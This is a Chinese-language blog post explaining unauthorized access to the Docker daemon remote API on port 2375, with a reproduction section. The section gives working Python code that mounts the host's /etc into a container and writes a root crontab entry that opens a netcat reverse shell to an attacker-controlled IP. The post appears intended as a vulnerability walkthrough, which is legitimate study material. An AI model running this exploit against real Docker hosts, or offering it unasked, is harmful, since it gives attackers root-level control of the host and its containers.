docker daemon api 未授权访问漏洞


docker daemon api 未授权访问漏洞

漏洞介绍:

该未授权访问漏洞是因为docker remote api可以执行docker命令,从官方文档可以看出,该接口是目的是取代docker 命令界面,通过url操作docker。

docker swarm是docker下的分布化应用的本地集群,在开放2375监听集群容器时,会调用这个api


url输入ip:2375/version就会列出基本信息,和docker version命令效果一样。

同样,url为ip:2375/v1.23/containers/json会列出容器信息,和docker ps -a效果一样。

漏洞复现

利用方法是,我们随意启动一个容器,并将宿主机的/etc目录挂载到容器中,便可以任意读写文件了。我们可以将命令写入crontab配置文件,进行反弹shell。

import docker

client = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})


文章作者: Geekby
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Geekby !
 上一篇
Drupal SQL注入漏洞 Drupal SQL注入漏洞
Drupal < 7.32 “Drupalgeddon” SQL注入漏洞(CVE-2014-3704)Drupal 是一款用量庞大的CMS,其7.0~7.31版本中存在一处无需认证的SQL漏洞。通过该漏洞,攻击者可以执行任意SQL语句
2019-06-08 Geekby
下一篇 
DNS域传送漏洞 DNS域传送漏洞
DNS域传送漏洞DNS协议支持使用axfr类型的记录进行区域传送,用来解决主从同步的问题。如果管理员在配置DNS服务器的时候没有限制允许获取记录的来源,将会导致DNS域传送漏洞。 漏洞复现在Linux下,我们可以使用dig命令来发送dns请
2019-06-07 Geekby
  目录